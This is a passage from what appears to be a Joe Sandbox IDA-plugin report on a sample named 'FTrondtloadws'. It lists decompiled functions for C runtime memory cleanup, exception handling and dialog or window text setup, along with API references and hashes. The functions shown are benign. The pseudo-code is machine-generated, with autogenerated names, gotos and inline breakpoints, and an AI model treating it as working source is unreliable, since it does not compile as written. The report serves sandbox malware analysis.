					_t202 = 0xd00274;
					do {
						if( *_t202 > 0) {
							_t9 =  &(_t202[1]); // 0xcf582c
							_t150 = E00CE79B0( &_v2288,  *_t9, _t95);
							_t208 = _t208 + 0xc;
							if(_t150 == 0) {
								_t12 =  &(_t202[1]); // 0xcf582c
								if(E00CCECF0(_t155, _t203, _t202,  *_t12,  &_v2048, 0x400) != 0) {
									SetDlgItemTextW(_t187,  *_t202,  &_v2048);
								}
							}
							_t95 = _v2368.top;
						}
						_t155 = _t155 + 1;
						_t202 =  &(_t202[3]);
						_t214 = _t155 -  *0xd00720; // 0x64
					} while (_t214 < 0);
					goto L8;
				}
			}

0x00ccf5e8
0x00ccf600
0x00ccf60a
0x00ccf60e
0x00ccf613
0x00ccf625
0x00ccf62f
0x00ccf634
0x00ccf63b
0x00ccf63e
0x00ccf642
0x00ccf648
0x00ccf6a5
0x00ccf6bd
0x00ccf6c5
0x00ccf6c9
0x00ccf6d5
0x00ccf6e7
0x00ccf6ee
0x00ccf6f2
0x00ccf6f5
0x00ccf6fd
0x00ccf70b
0x00ccf70f
0x00ccf717
0x00ccf724
0x00ccf727
0x00ccf730
0x00ccf735
0x00ccf73b
0x00ccf73f
0x00ccf740
0x00ccf746
0x00ccf750
0x00ccf757
0x00ccf760
0x00ccf764
0x00ccf768
0x00ccf76a
0x00ccf76a
0x00ccf76e
0x00ccf770
0x00ccf770
0x00ccf783
0x00ccf783
0x00ccf796
0x00ccf7a2
0x00ccf7a8
0x00ccf7a8
0x00ccf7d0
0x00ccf7db
0x00ccf7db
0x00ccf7d0
0x00ccf7ec
0x00ccf7ee
0x00ccf7f4
0x00ccf7f6
0x00ccf7fc
0x00ccf8ae
0x00ccf8ae
0x00ccf802
0x00ccf802
0x00ccf89c
0x00ccf809
0x00ccf80f
0x00000000
0x00000000
0x00ccf81b
0x00ccf825
0x00ccf83a
0x00ccf83f
0x00ccf842
0x00ccf858
0x00ccf860
0x00ccf862
0x00ccf863
0x00ccf86b
0x00ccf87d
0x00ccf884
0x00ccf88d
0x00ccf893
0x00ccf895
0x00ccf899
0x00000000
0x00000000
0x00ccf89b
0x00ccf89b
0x00ccf89b
0x00000000
0x00ccf89c
0x00ccf64a
0x00ccf64a
0x00ccf64f
0x00ccf652
0x00ccf655
0x00ccf65d
0x00ccf662
0x00ccf667
0x00ccf678
0x00ccf682
0x00ccf68f
0x00ccf68f
0x00ccf682
0x00ccf695
0x00ccf695
0x00ccf699
0x00ccf69a
0x00ccf69d
0x00ccf69d
0x00000000
0x00ccf64f

APIs

_swprintf.LIBCMT ref: 00CCF60E

Part of subcall function 00CC4A00: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC4A13

Part of subcall function 00CD30C5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,00D03070,?,00CCEC28,00000000,?,00000050,00D03070), ref: 00CD30E2

_strlen.LIBCMT ref: 00CCF62F
SetDlgItemTextW.USER32(?,00D00274,?), ref: 00CCF68F
GetWindowRect.USER32(?,?), ref: 00CCF6C9
GetClientRect.USER32(?,?), ref: 00CCF6D5
GetWindowLongW.USER32(?,000000F0), ref: 00CCF775
GetWindowRect.USER32(?,?), ref: 00CCF7A2
SetWindowTextW.USER32(?,?), ref: 00CCF7DB
GetSystemMetrics.USER32(00000008), ref: 00CCF7E3
GetWindow.USER32(?,00000005), ref: 00CCF7EE
GetWindowRect.USER32(00000000,?), ref: 00CCF81B
GetWindow.USER32(00000000,00000002), ref: 00CCF88D

Strings

$%s:, xrefs: 00CCF602
d, xrefs: 00CCF6F5
CAPTION, xrefs: 00CCF7BD

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: f3f2559707b5b9c2d60185eb86ae40055629082fccf27712b2dde7f0341bc2b5
Instruction ID: 55092c89024e3891e37c16a7b817d39d917b99b2633d15171ed4725bcf98ccfe
Opcode Fuzzy Hash: f3f2559707b5b9c2d60185eb86ae40055629082fccf27712b2dde7f0341bc2b5
Instruction Fuzzy Hash: E481A071108301AFD711DF68DD89F6FBBE9EB89704F04092DF995D7290D670E9068B62

Uniqueness

Uniqueness Score: -1.00%

Function 00CEDB32 Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00CEDB32(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0xd00ea0) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E00CEA4BA(_t46);
							E00CED711( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E00CEA4BA(_t47);
							E00CED80F( *((intOrPtr*)(_t74 + 0x88)));
						}
						E00CEA4BA( *((intOrPtr*)(_t74 + 0x7c)));
						E00CEA4BA( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E00CEA4BA( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E00CEA4BA( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E00CEA4BA( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E00CEA4BA( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E00CEDCA5( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0xd00968) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E00CEA4BA(_t31);
							E00CEA4BA( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E00CEA4BA(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E00CEA4BA(_t74);
			}

0x00cedb3a
0x00cedb3e
0x00cedb46
0x00cedb4f
0x00cedb54
0x00cedb5b
0x00cedb63
0x00cedb6b
0x00cedb76
0x00cedb7c
0x00cedb7d
0x00cedb85
0x00cedb8d
0x00cedb98
0x00cedb9e
0x00cedba2
0x00cedbad
0x00cedbb3
0x00cedb54
0x00cedbb4
0x00cedbbc
0x00cedbcf
0x00cedbe2
0x00cedbf0
0x00cedbfb
0x00cedc00
0x00cedc09
0x00cedc11
0x00cedc12
0x00cedc18
0x00cedc1b
0x00cedc1e
0x00cedc25
0x00cedc27
0x00cedc2b
0x00cedc33
0x00cedc3a
0x00cedc40
0x00cedc41
0x00cedc41
0x00cedc48
0x00cedc4a
0x00cedc4f
0x00cedc57
0x00cedc5c
0x00cedc5d
0x00cedc5d
0x00cedc60
0x00cedc63
0x00cedc66
0x00cedc69
0x00cedc69
0x00cedc7b

APIs

___free_lconv_mon.LIBCMT ref: 00CEDB76

Part of subcall function 00CED711: _free.LIBCMT ref: 00CED72E
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED740
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED752
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED764
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED776
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED788
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED79A
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED7AC
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED7BE
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED7D0
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED7E2
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED7F4
Part of subcall function 00CED711: _free.LIBCMT ref: 00CED806

_free.LIBCMT ref: 00CEDB6B

Part of subcall function 00CEA4BA: RtlFreeHeap.NTDLL(00000000,00000000,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?), ref: 00CEA4D0
Part of subcall function 00CEA4BA: GetLastError.KERNEL32(?,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?,?), ref: 00CEA4E2

_free.LIBCMT ref: 00CEDB8D
_free.LIBCMT ref: 00CEDBA2
_free.LIBCMT ref: 00CEDBAD
_free.LIBCMT ref: 00CEDBCF
_free.LIBCMT ref: 00CEDBE2
_free.LIBCMT ref: 00CEDBF0
_free.LIBCMT ref: 00CEDBFB
_free.LIBCMT ref: 00CEDC33
_free.LIBCMT ref: 00CEDC3A
_free.LIBCMT ref: 00CEDC57
_free.LIBCMT ref: 00CEDC6F

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: af4e6884e6b5353d290cadbda79fda1018fdf09cf04ffd22465b34a258be0b54
Instruction ID: c5acae54c89e4607b8055a106c0ea9f929dec7b5124173402a6714c9b568f5f3
Opcode Fuzzy Hash: af4e6884e6b5353d290cadbda79fda1018fdf09cf04ffd22465b34a258be0b54
Instruction Fuzzy Hash: 5E3161315007849FEB20AA3AD849B5A77E9FF00350F209429F46AD7291DFB4FD40DB11

Uniqueness

Uniqueness Score: -1.00%

Function 00CDE66E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDE66E(void* __ecx, void* __edx, void* __eflags, void* __fp0, short _a24, struct HWND__* _a4124) {
				void _v0;
				intOrPtr _v4;
				intOrPtr _v12;
				struct HWND__* _t9;
				void* _t19;
				void* _t26;
				void* _t28;
				void* _t30;
				struct HWND__* _t33;
				struct HWND__* _t36;
				void* _t40;
				void* _t49;

				_t49 = __fp0;
				_t40 = __eflags;
				_t28 = __edx;
				E00CDFE20(0x1018);
				_t9 = E00CDB5A6(_t40);
				if(_t9 == 0) {
					L12:
					return _t9;
				}
				_t9 = GetWindow(_a4124, 5);
				_t33 = _t9;
				_t30 = 0;
				_t36 = _t33;
				if(_t33 == 0) {
					L11:
					goto L12;
				}
				while(_t30 < 0x200) {
					GetClassNameW(_t33,  &_a24, 0x800);
					if(E00CD32E6( &_a24, L"STATIC") == 0 && (GetWindowLongW(_t33, 0xfffffff0) & 0x0000001f) == 0xe) {
						_t26 = SendMessageW(_t33, 0x173, 0, 0);
						if(_t26 != 0) {
							GetObjectW(_t26, 0x18,  &_v0);
							_t19 = E00CDB5E5(_v4);
							SendMessageW(_t33, 0x172, 0, E00CDB7EC(_t28, _t49, _t26, E00CDB5C4(_v12), _t19));
							DeleteObject(_t26);
						}
					}
					_t9 = GetWindow(_t33, 2);
					_t33 = _t9;
					if(_t33 != _t36) {
						_t30 = _t30 + 1;
						if(_t33 != 0) {
							continue;
						}
					}
					break;
				}
				goto L11;
			}

0x00cde66e
0x00cde66e
0x00cde66e
0x00cde673
0x00cde678
0x00cde67f
0x00cde756
0x00cde75c
0x00cde75c
0x00cde691
0x00cde697
0x00cde699
0x00cde69b
0x00cde69f
0x00cde753
0x00000000
0x00cde755
0x00cde6a6
0x00cde6bd
0x00cde6d4
0x00cde6f6
0x00cde6fa
0x00cde704
0x00cde70e
0x00cde72d
0x00cde734
0x00cde734
0x00cde6fa
0x00cde73d
0x00cde743
0x00cde747
0x00cde749
0x00cde74c
0x00000000
0x00000000
0x00cde74c
0x00000000
0x00cde747
0x00000000

APIs

GetWindow.USER32(?,00000005), ref: 00CDE691
GetClassNameW.USER32(00000000,?,00000800), ref: 00CDE6BD

Part of subcall function 00CD32E6: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000132E6,00CCD503,00000000,.exe,?,?,00000800,?,?,?,00CD9E2C), ref: 00CD32FC

GetWindowLongW.USER32(00000000,000000F0), ref: 00CDE6D9
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00CDE6F0
GetObjectW.GDI32(00000000,00000018,?), ref: 00CDE704
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00CDE72D
DeleteObject.GDI32(00000000), ref: 00CDE734
GetWindow.USER32(00000000,00000002), ref: 00CDE73D

Strings

STATIC, xrefs: 00CDE6C3

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: aca8f0e13f9f88f1c6da64a3be27bd2a86dcf544a479b8eb8d7ab18b8e86e53b
Instruction ID: ff2ffd2b22f38e50681aa965dc866826e9ca4f616b57d759842e31afbf4cb6e7
Opcode Fuzzy Hash: aca8f0e13f9f88f1c6da64a3be27bd2a86dcf544a479b8eb8d7ab18b8e86e53b
Instruction Fuzzy Hash: 5011B732544B107BE2717B70AC4AFAF365CAF64710F014022FB51E9396DB748E4696B5

Uniqueness

Uniqueness Score: -1.00%

Function 00CEA271 Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CEA271(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0xcf74c0) {
					E00CEA4BA(_t52);
					_t26 = _a4;
				}
				E00CEA4BA( *((intOrPtr*)(_t26 + 0x3c)));
				E00CEA4BA( *((intOrPtr*)(_a4 + 0x30)));
				E00CEA4BA( *((intOrPtr*)(_a4 + 0x34)));
				E00CEA4BA( *((intOrPtr*)(_a4 + 0x38)));
				E00CEA4BA( *((intOrPtr*)(_a4 + 0x28)));
				E00CEA4BA( *((intOrPtr*)(_a4 + 0x2c)));
				E00CEA4BA( *((intOrPtr*)(_a4 + 0x40)));
				E00CEA4BA( *((intOrPtr*)(_a4 + 0x44)));
				E00CEA4BA( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E00CEA130(5,  &_v8);
				_v8 =  &_a4;
				return E00CEA180(4,  &_v8);
			}

0x00cea277
0x00cea27a
0x00cea282
0x00cea285
0x00cea28a
0x00cea28d
0x00cea291
0x00cea29c
0x00cea2a7
0x00cea2b2
0x00cea2bd
0x00cea2c8
0x00cea2d3
0x00cea2de
0x00cea2ec
0x00cea2f4
0x00cea2fd
0x00cea305
0x00cea319

APIs

_free.LIBCMT ref: 00CEA285

Part of subcall function 00CEA4BA: RtlFreeHeap.NTDLL(00000000,00000000,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?), ref: 00CEA4D0
Part of subcall function 00CEA4BA: GetLastError.KERNEL32(?,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?,?), ref: 00CEA4E2

_free.LIBCMT ref: 00CEA291
_free.LIBCMT ref: 00CEA29C
_free.LIBCMT ref: 00CEA2A7
_free.LIBCMT ref: 00CEA2B2
_free.LIBCMT ref: 00CEA2BD
_free.LIBCMT ref: 00CEA2C8
_free.LIBCMT ref: 00CEA2D3
_free.LIBCMT ref: 00CEA2DE
_free.LIBCMT ref: 00CEA2EC

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf3f59c86d2a0df8213b51ebbde87800ef27558c12b266791895839dcc5e2d79
Instruction ID: dc8c81098234f9e9bf8523f39e81ba39da939e64c7949fac1dc4b5e73eb44eb3
Opcode Fuzzy Hash: bf3f59c86d2a0df8213b51ebbde87800ef27558c12b266791895839dcc5e2d79
Instruction Fuzzy Hash: BD11C876110148FFCB05EF96C85ACDD3BA6EF04350F0191A5FA088F272DA75EE51AB82

Uniqueness

Uniqueness Score: -1.00%

Function 00CE3E11 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00CE3E11(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t201;
				signed int _t202;
				char _t203;
				signed int _t205;
				signed int _t207;
				signed char* _t208;
				signed int _t209;
				signed int _t210;
				signed int _t214;
				void* _t217;
				signed char* _t220;
				void* _t222;
				void* _t224;
				signed char _t228;
				signed int _t229;
				void* _t231;
				void* _t234;
				void* _t237;
				signed int _t247;
				void* _t250;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr _t253;
				signed int _t254;
				void* _t259;
				void* _t261;
				void* _t264;
				void* _t265;
				signed int _t269;
				signed char* _t270;
				intOrPtr* _t271;
				signed char _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr* _t276;
				signed int _t277;
				signed int _t278;
				signed int _t283;
				signed int _t290;
				signed int _t291;
				signed int _t294;
				signed int _t296;
				signed char* _t297;
				signed int _t298;
				signed char _t299;
				signed int* _t301;
				signed char* _t304;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t327;
				void* _t329;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;

				_t296 = __edx;
				_push(_t315);
				_t301 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t275 = E00CE4D90(_a8, _a16, _t301);
				_t332 = _t331 + 0xc;
				_v12 = _t275;
				if(_t275 < 0xffffffff || _t275 >= _t301[1]) {
					L67:
					_t201 = E00CE9F44(_t270, _t296, _t301, _t315);
					asm("int3");
					_t329 = _t332;
					_t333 = _t332 - 0x38;
					_push(_t270);
					_t271 = _v112;
					__eflags =  *_t271 - 0x80000003;
					if(__eflags == 0) {
						return _t201;
					} else {
						_push(_t315);
						_push(_t301);
						_t202 = E00CE3ACC(_t271, _t275, _t296, _t301, _t315, __eflags);
						__eflags =  *(_t202 + 8);
						if(__eflags != 0) {
							__imp__EncodePointer(0);
							_t315 = _t202;
							_t222 = E00CE3ACC(_t271, _t275, _t296, 0, _t315, __eflags);
							__eflags =  *((intOrPtr*)(_t222 + 8)) - _t315;
							if( *((intOrPtr*)(_t222 + 8)) != _t315) {
								__eflags =  *_t271 - 0xe0434f4d;
								if( *_t271 != 0xe0434f4d) {
									__eflags =  *_t271 - 0xe0434352;
									if( *_t271 != 0xe0434352) {
										_t214 = E00CE1227(_t296, 0, _t315, _t271, _a4, _a8, _a12, _a16, _a24, _a28);
										_t333 = _t333 + 0x1c;
										__eflags = _t214;
										if(_t214 != 0) {
											L84:
											return _t214;
										}
									}
								}
							}
						}
						_t203 = _a16;
						_v28 = _t203;
						_v24 = 0;
						__eflags =  *(_t203 + 0xc);
						if( *(_t203 + 0xc) > 0) {
							_push(_a24);
							E00CE115A(_t271, _t275, 0, _t315,  &_v44,  &_v28, _a20, _a12, _t203);
							_t298 = _v40;
							_t334 = _t333 + 0x18;
							_t214 = _v44;
							_v20 = _t214;
							_v12 = _t298;
							__eflags = _t298 - _v32;
							if(_t298 >= _v32) {
								goto L84;
							}
							_t277 = _t298 * 0x14;
							__eflags = _t277;
							_v16 = _t277;
							do {
								_t278 = 5;
								_t217 = memcpy( &_v64,  *((intOrPtr*)( *_t214 + 0x10)) + _t277, _t278 << 2);
								_t334 = _t334 + 0xc;
								__eflags = _v64 - _t217;
								if(_v64 > _t217) {
									goto L83;
								}
								__eflags = _t217 - _v60;
								if(_t217 > _v60) {
									goto L83;
								}
								_t220 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t283 = _t220[4];
								__eflags = _t283;
								if(_t283 == 0) {
									L81:
									__eflags =  *_t220 & 0x00000040;
									if(( *_t220 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E00CE3D91(_t298, _t271, _a4, _a8, _a12, _a16, _t220, 0,  &_v64, _a24, _a28);
										_t298 = _v12;
										_t334 = _t334 + 0x30;
									}
									goto L83;
								}
								__eflags =  *((char*)(_t283 + 8));
								if( *((char*)(_t283 + 8)) != 0) {
									goto L83;
								}
								goto L81;
								L83:
								_t298 = _t298 + 1;
								_t214 = _v20;
								_t277 = _v16 + 0x14;
								_v12 = _t298;
								_v16 = _t277;
								__eflags = _t298 - _v32;
							} while (_t298 < _v32);
							goto L84;
						}
						E00CE9F44(_t271, _t296, 0, _t315);
						asm("int3");
						_push(_t329);
						_t297 = _v184;
						_push(_t271);
						_push(_t315);
						_push(0);
						_t205 = _t297[4];
						__eflags = _t205;
						if(_t205 == 0) {
							L109:
							_t207 = 1;
							__eflags = 1;
						} else {
							_t276 = _t205 + 8;
							__eflags =  *_t276;
							if( *_t276 == 0) {
								goto L109;
							} else {
								__eflags =  *_t297 & 0x00000080;
								_t304 = _v0;
								if(( *_t297 & 0x00000080) == 0) {
									L91:
									_t272 = _t304[4];
									_t317 = 0;
									__eflags = _t205 - _t272;
									if(_t205 == _t272) {
										L101:
										__eflags =  *_t304 & 0x00000002;
										if(( *_t304 & 0x00000002) == 0) {
											L103:
											_t208 = _a4;
											__eflags =  *_t208 & 0x00000001;
											if(( *_t208 & 0x00000001) == 0) {
												L105:
												__eflags =  *_t208 & 0x00000002;
												if(( *_t208 & 0x00000002) == 0) {
													L107:
													_t317 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t297 & 0x00000002;
													if(( *_t297 & 0x00000002) != 0) {
														goto L107;
													}
												}
											} else {
												__eflags =  *_t297 & 0x00000001;
												if(( *_t297 & 0x00000001) != 0) {
													goto L105;
												}
											}
										} else {
											__eflags =  *_t297 & 0x00000008;
											if(( *_t297 & 0x00000008) != 0) {
												goto L103;
											}
										}
										_t207 = _t317;
									} else {
										_t184 = _t272 + 8; // 0x6e
										_t209 = _t184;
										while(1) {
											_t273 =  *_t276;
											__eflags = _t273 -  *_t209;
											if(_t273 !=  *_t209) {
												break;
											}
											__eflags = _t273;
											if(_t273 == 0) {
												L97:
												_t210 = _t317;
											} else {
												_t274 =  *((intOrPtr*)(_t276 + 1));
												__eflags = _t274 -  *((intOrPtr*)(_t209 + 1));
												if(_t274 !=  *((intOrPtr*)(_t209 + 1))) {
													break;
												} else {
													_t276 = _t276 + 2;
													_t209 = _t209 + 2;
													__eflags = _t274;
													if(_t274 != 0) {
														continue;
													} else {
														goto L97;
													}
												}
											}
											L99:
											__eflags = _t210;
											if(_t210 == 0) {
												goto L101;
											} else {
												_t207 = 0;
											}
											goto L110;
										}
										asm("sbb eax, eax");
										_t210 = _t209 | 0x00000001;
										__eflags = _t210;
										goto L99;
									}
								} else {
									__eflags =  *_t304 & 0x00000010;
									if(( *_t304 & 0x00000010) != 0) {
										goto L109;
									} else {
										goto L91;
									}
								}
							}
						}
						L110:
						return _t207;
					}
				} else {
					_t270 = _a4;
					if( *_t270 != 0xe06d7363 || _t270[0x10] != 3 || _t270[0x14] != 0x19930520 && _t270[0x14] != 0x19930521 && _t270[0x14] != 0x19930522) {
						L22:
						_t296 = _a12;
						_v8 = _t296;
						goto L24;
					} else {
						_t315 = 0;
						_t342 = _t270[0x1c];
						if(_t270[0x1c] != 0) {
							goto L22;
						} else {
							_t224 = E00CE3ACC(_t270, _t275, _t296, _t301, 0, _t342);
							_t343 =  *((intOrPtr*)(_t224 + 0x10));
							if( *((intOrPtr*)(_t224 + 0x10)) == 0) {
								L61:
								return _t224;
							} else {
								_t270 =  *(E00CE3ACC(_t270, _t275, _t296, _t301, 0, _t343) + 0x10);
								_t259 = E00CE3ACC(_t270, _t275, _t296, _t301, 0, _t343);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t259 + 0x14));
								if(_t270 == 0) {
									goto L67;
								} else {
									if( *_t270 != 0xe06d7363 || _t270[0x10] != 3 || _t270[0x14] != 0x19930520 && _t270[0x14] != 0x19930521 && _t270[0x14] != 0x19930522) {
										L16:
										_t261 = E00CE3ACC(_t270, _t275, _t296, _t301, _t315, _t350);
										_t351 =  *((intOrPtr*)(_t261 + 0x1c)) - _t315;
										if( *((intOrPtr*)(_t261 + 0x1c)) == _t315) {
											L23:
											_t296 = _v8;
											_t275 = _v12;
											L24:
											_v52 = _t301;
											_v48 = 0;
											__eflags =  *_t270 - 0xe06d7363;
											if( *_t270 != 0xe06d7363) {
												L57:
												__eflags = _t301[3];
												if(__eflags <= 0) {
													goto L60;
												} else {
													__eflags = _a24;
													if(__eflags != 0) {
														goto L67;
													} else {
														_push(_a32);
														_push(_a28);
														_push(_t275);
														_push(_t301);
														_push(_a16);
														_push(_t296);
														_push(_a8);
														_push(_t270);
														L68();
														_t332 = _t332 + 0x20;
														goto L60;
													}
												}
											} else {
												__eflags = _t270[0x10] - 3;
												if(_t270[0x10] != 3) {
													goto L57;
												} else {
													__eflags = _t270[0x14] - 0x19930520;
													if(_t270[0x14] == 0x19930520) {
														L29:
														_t315 = _a32;
														__eflags = _t301[3];
														if(_t301[3] > 0) {
															_push(_a28);
															E00CE115A(_t270, _t275, _t301, _t315,  &_v68,  &_v52, _t275, _a16, _t301);
															_t296 = _v64;
															_t332 = _t332 + 0x18;
															_t247 = _v68;
															_v44 = _t247;
															_v16 = _t296;
															__eflags = _t296 - _v56;
															if(_t296 < _v56) {
																_t290 = _t296 * 0x14;
																__eflags = _t290;
																_v32 = _t290;
																do {
																	_t291 = 5;
																	_t250 = memcpy( &_v104,  *((intOrPtr*)( *_t247 + 0x10)) + _t290, _t291 << 2);
																	_t332 = _t332 + 0xc;
